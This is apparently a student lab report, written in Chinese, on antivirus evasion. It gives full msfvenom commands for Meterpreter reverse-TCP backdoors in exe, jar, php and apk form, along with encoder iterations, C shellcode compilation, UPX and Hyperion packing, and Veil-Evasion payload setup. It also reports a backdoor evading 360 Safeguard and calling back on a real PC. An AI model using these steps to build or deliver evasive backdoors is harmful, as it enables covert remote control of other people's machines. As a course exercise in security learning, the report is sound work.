2019-2020-2 20174303刘金晖 Exp3 免杀原理与实践
一、实验准备
1.实践内容
- 任务一:方法
- 任务二:通过组合应用各种技术实现恶意代码免杀
- 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.基础知识
- 免杀:
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
- 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。
- 免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。
- 恶意软件检测机制
- 基于特征码的检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。 - 启发式恶意软件检测
启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。 - 基于行为的恶意软件检测
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
- 基于特征码的检测
二、实践内容
任务一:方法
1.正确使用msf编码器
- 关于网站VirSCAN和Virus Total
是非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对所上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来。我主要用了virus total。
- 对实验二生成的exe文件进行检测:
- 在kali中输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 LHOST=192.168.203.130 LPORT=5225 -f exe > 20174303test.exe 指令,生成exe文件。
- -p 后面参数分别是:平台/软件/连接方式
- -e 后面参数是:编码器类型
- -b 后面参数是:减去16进制的0
- -f 后面参数是:输出后门的格式(文件类型)
- -i 后面参数是:编码的迭代次数
- 在kali中输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.203.130 LPORT=5225 -f exe > 20174303_10.exe 指令,十次编码。
2.msfvenom生成如jar之类的其他文件
- 在kali在输入msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.203.130 lport=5225 x> 20174303_back.jar 指令,生成jar文件。
- 在kali中输入msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.203.130 lport=5225 x> 20174303_backdoor.php 指令,生成php文件。
- 在kali中输入msfvenom -p android/meterpreter/reverse_tcp lhost192.168.203.130lport=5225 x> 20174303_backdoor.apk 指令,生成apk文件。
3.veil
- 安装veil,这又是一部血泪史,装了很长时间,遇到了很多很多问题,在我各种想方设法解决的时候,我发现不知道哪一步把我虚拟机搞坏了,太难了,于是我又重装了一次虚拟机,最后是这样成功的:
- 首先输入
mkdir -p ~/.cache/wine cd ~/.cache/wine wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
这一步可能会需要很长时间,但是用流量会快很多。
- 输入 sudo apt-get install veil-evasion 命令安装veil。
- 输入 veil 打开veil,直到安装完成,这里也需要挺长时间。最后安装成功的界面是这样的:
-
输入 use evasion ,进入Evil-Evasion
- 输入use c/meterpreter/rev_tcp.py 指令,进入配置界面。
- 输入set LHOST 192.168.203.131 指令,设置反弹连接IP。
- 输入set LPORT 4303 指令,设置端口。
- 输入generate生成文件,输入文件名4303
- 检测一下:
4.使用C + shellcode编程
- 输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.203.131 LPORT=4303 -f c 指令,用c语言生成一段shellcode。
- 创建一个c文件,然后编辑c文件。
- 输入i686-w64-mingw32-g++ 4303.c -o 4303.exe 指令,将c文件转为exe文件。
- 检测生成的文件。
5.加壳
5.1压缩壳UPX
- 输入 upx 4303.exe -o 4303_upxed.exe 指令,为之前的4303.exe文件加壳。
- 检测以下这个加壳后的文件
- 在windows尝试运行以下,emmm,失败了,被拦截了n次。
5.2加密壳Hyperion
- 输入 sudo apt-get install hyperion 下载安装Hyperion
路径:/use/share/windows-resources/hyperion/
- 输入sudo cp 4303.exe /usr/share/windows-resources/hyperion/4303.exe ,将文件4303.exe复制过去
如图,已经复制过去
- 输入 sudo wine hyperion.exe -v 4303.exe 4303_hyperion.exe ,上加密壳。
如图,已经生成新的文件:
- 将其检测一下:
到windows后,又被发现了
6.使用其他方法
用Veil-Evasion的其他荷载生成后门方式。
- 启动veil,进入evasion,输入list查看可用的有效荷载,如下
- 输入use 30选择第30个
- 配置反弹连接的IP地址和端口号。
- 输入generate 生成文件
- 选择2
- 检测生成的文件:
任务2:通过组合应用各种技术实现恶意代码免杀
- 将上面Veil-Evasion另一种载荷生成文件
- 对文件加壳。
- 检测加壳后文件
还是有问题的。
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 用的是家里很久不用的,比较老旧的一台电脑windows 7
- 杀软是360 卫士12
- 在这里我用了各种方式,把前面的方式各种叠加,生成了一堆文件,然后用u盘传到另一个电脑(有点像大浪淘沙的感觉,有的被发现,处理掉了,有的没有被发现,成功啦)
可以使用dir
360检测安全
三、实验总结
1.基础知识问答
1.1杀软是如何检测出恶意代码的?
-
- 基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- 启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 基于行为的恶意软件检测:针对程序的行为检测。
1.2免杀是做什么?
-
- 免杀就是让安插的后门不被AV软件发现。采用一些方式,让病毒程序不被检测到。
1.3免杀的基本方法有哪些?
-
- 改变特征码:进行文件加壳操作,或者对shellcode用encode进行编码生成可执行文件
- 改变行为:使用反弹式连接、加密通讯、加入混淆功能的正常功能代码。
2.实验总结与体会
2.1问题总结
-
- veil安装失败了n次(没有太多截图了)
-
- 解决:见上文(尽量用流量安装,不然太慢了)
2.2开启杀软能绝对防止电脑中恶意代码吗?
-
- 不能,进行加壳或者加密通讯等操作,电脑并不能百分之百识别拦截恶意代码,有些程序进入电脑杀软并没有察觉到。
2.3实验感想
-
- 这次实验主要在下载veil时比较艰难吧,整整两天一直在下载它,遇到了很多问题。但是我觉得这个实验还比较有意思吧,就各种尝试,试图骗过杀软,但是成功了感觉也比较微妙,不知道该高兴还是不该,毕竟成功了说明自己的电脑emmm。通过这次实验,我对于免杀也有了进一步的理解,也意识到杀软并不能绝对防止恶意攻击,所以还是要多注意吧(虽然我觉得我自己并不能看出来什么东西)。